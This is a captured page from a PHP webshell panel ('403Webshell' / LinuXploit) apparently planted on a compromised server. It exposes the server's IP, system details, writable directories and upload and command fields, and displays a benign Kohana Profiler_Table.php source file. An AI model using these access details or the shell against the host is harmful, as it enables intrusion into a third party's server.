403Webshell
Server IP : 23.94.149.180  /  Your IP : 216.73.216.147
Web Server : nginx/1.20.1
System : Linux deadrock 5.14.0-741.22.1.el9_9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Nov 12 15:18:14 UTC 2026 x86_64
User : apache ( 48)
PHP Version : 8.6.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /files/webmaint/kennethmyatt/gallery3/system/libraries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /files/webmaint/kennethmyatt/gallery3/system/libraries/Profiler_Table.php
<?php defined('SYSPATH') OR die('No direct access allowed.');
/**
 * Provides a table layout for sections in the Profiler library.
 *
 * @package    Kohana
 * @author     Kohana Team
 * @copyright  (c) 2007-2009 Kohana Team
 * @license    http://kohanaphp.com/license
 */
class Profiler_Table_Core {

	protected $columns = array();
	protected $rows = array();

	/**
	 * Get styles for table.
	 *
	 * @return  string
	 */
	public function styles()
	{
		static $styles_output;

		if ( ! $styles_output)
		{
			$styles_output = TRUE;
			return file_get_contents(Kohana::find_file('views', 'profiler/table', FALSE, 'css'));
		}

		return '';
	}

	/**
	 * Add column to table.
	 *
	 * @param  string  CSS class
	 * @param  string  CSS style
	 */
	public function add_column($class = '', $style = '')
	{
		$this->columns[] = array('class' => $class, 'style' => $style);
	}

	/**
	 * Add row to table.
	 *
	 * @param  array   data to go in table cells
	 * @param  string  CSS class
	 * @param  string  CSS style
	 */
	public function add_row($data, $class = '', $style = '')
	{
		$this->rows[] = array('data' => $data, 'class' => $class, 'style' => $style);
	}

	/**
	 * Render table.
	 *
	 * @return  string
	 */
	public function render()
	{
		$data['rows'] = $this->rows;
		$data['columns'] = $this->columns;
		return View::factory('profiler/table', $data)->render();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit